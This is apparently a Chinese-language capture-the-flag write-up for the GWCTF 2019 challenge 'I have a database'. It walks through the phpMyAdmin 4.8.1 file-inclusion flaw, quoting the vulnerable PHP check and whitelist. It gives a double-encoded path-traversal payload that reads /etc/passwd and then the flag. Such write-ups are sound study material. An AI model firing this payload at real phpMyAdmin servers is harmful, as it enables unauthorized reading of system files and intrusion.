[GWCTF 2019]我有一个数据库
1
页面一打开,抓包看到了数据库,一开始想到的sql注入,但明确没有注入点,所以我们扫扫文件看看有什么有用的信息

看到phpmyadmin,可以联想到某项版本下是存在漏洞的

打开phpmyadmin页面,看到了具体的版本

查找这个版本对应的漏洞
phpMyAdmin 4.8.1 远程文件包含
漏洞简介
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。
在phpMyAdmin 4.8.2 之前的 4.8.x 版本中,其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
漏洞还原:
文件/index.php代码
1 2 3 4 5 6 7 8 9
| if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
|
1.target要有参数
2.target的值是字符串
3.target不能有index出现
4.不能出现在黑名单target_blacklist中
以下是黑名单相关代码
1 2 3
| $target_blacklist = array ( 'import.php', 'export.php' );
|
5.core类下的checkPageValidity方法返回值要为true
if语句有一个返回true就ok,此漏洞是根据最后一个if语句的url解码拿到的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| # phpMyAdmin/libraries/classes/core.php
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; }
if (in_array($page, $whitelist)) { return true; }
$_page = mb_substr( //mb=mutiple byte多字节,substr=sub string子字符串=切割字符串 $page, //参数1:母字符串 0, //参数2:从哪里开始找找 mb_strpos($page . '?', '?') //参数3:到哪里结束,注意这一位不取到 ); if (in_array($_page, $whitelist)) { return true; }
$_page = urldecode($page); //漏洞处 $_page = mb_substr( //这里同上哦 $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
return false; }
|
在执行这个文件前我们要满足?为编码%3f,才能解码后得到?
但是考虑到服务器自身的解码:
“当你把这个地址发送给服务器(Apache/Nginx)时,服务器会自动处理 URL 编码。”
所以我们发给服务器的要编码一次。即二次编码后?变成了%253f
->然后,保证子字符串就会是白名单的任何一个文件就好了
白名单文件
1 2 3 4 5 6 7 8 9 10 11 12
| 'db_datadict.php', 'db_sql.php', 'db_events.php', 'db_export.php', 'db_importdocsql.php', 'db_multi_table_query.php', 'db_structure.php', 'db_import.php', 'db_operations.php', 'db_search.php', 'db_routines.php', ...
|
因此构造出:
1 2
| payload: ?target=db_datadict.php%253f/../../../../../../../../etc/passwd
|
得到passwd

找到flag

知识点:
mb 代表 Multi-Byte(多字节)。如果你的路径里包含中文或其他特殊字符,普通的 substr 可能会把字符切碎导致乱码,而 mb_ 系列函数会把一个中文字符当做一个整体对待,更加安全。